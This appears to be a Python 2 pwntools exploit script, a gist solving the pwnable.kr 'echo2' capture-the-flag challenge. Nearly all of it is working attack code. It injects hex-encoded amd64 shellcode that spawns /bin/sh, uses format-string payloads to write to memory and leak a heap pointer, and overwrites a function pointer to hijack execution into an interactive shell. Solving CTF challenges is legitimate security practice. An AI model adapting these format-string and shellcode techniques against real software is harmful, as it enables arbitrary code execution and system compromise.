Created
March 6, 2016 12:31
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#!/usr/bin/env python | |
# coding=utf8 | |
from pwn import u64, process, remote, shellcraft, context, asm | |
context.arch = 'amd64' | |
bss_o = 0x602098 | |
p = process('./echo2') | |
# p = remote('pwnable.kr', 9011) | |
# p = remote('localhost', 9011) | |
# shellcode = shellcraft.sh() | |
# payload = asm(shellcode) | |
payload = '6a6848b82f62696e2f2f2f73504889e731f66a3b58990f05'.decode('hex') | |
p.sendline(payload) | |
# leak malloc_o | |
p.recvuntil('>') | |
p.sendline('2') | |
p.sendline('%%%dc%%10$n' % bss_o) | |
p.recvline() | |
p.recvuntil('>') | |
p.sendline('2') | |
p.sendline('%18$s') | |
p.recvline() | |
malloc_o = u64(p.recvline()[:-1].ljust(8, '\x00')) | |
print hex(malloc_o) | |
# modify byebye | |
p.recvuntil('>') | |
p.sendline('2') | |
p.sendline('%%%dc%%10$n' % (malloc_o + 0x20)) | |
p.recvline() | |
p.recvuntil('>') | |
p.sendline('2') | |
p.sendline('%%%dc%%18$n' % malloc_o) | |
p.recvline() | |
p.clean() | |
p.interactive() |
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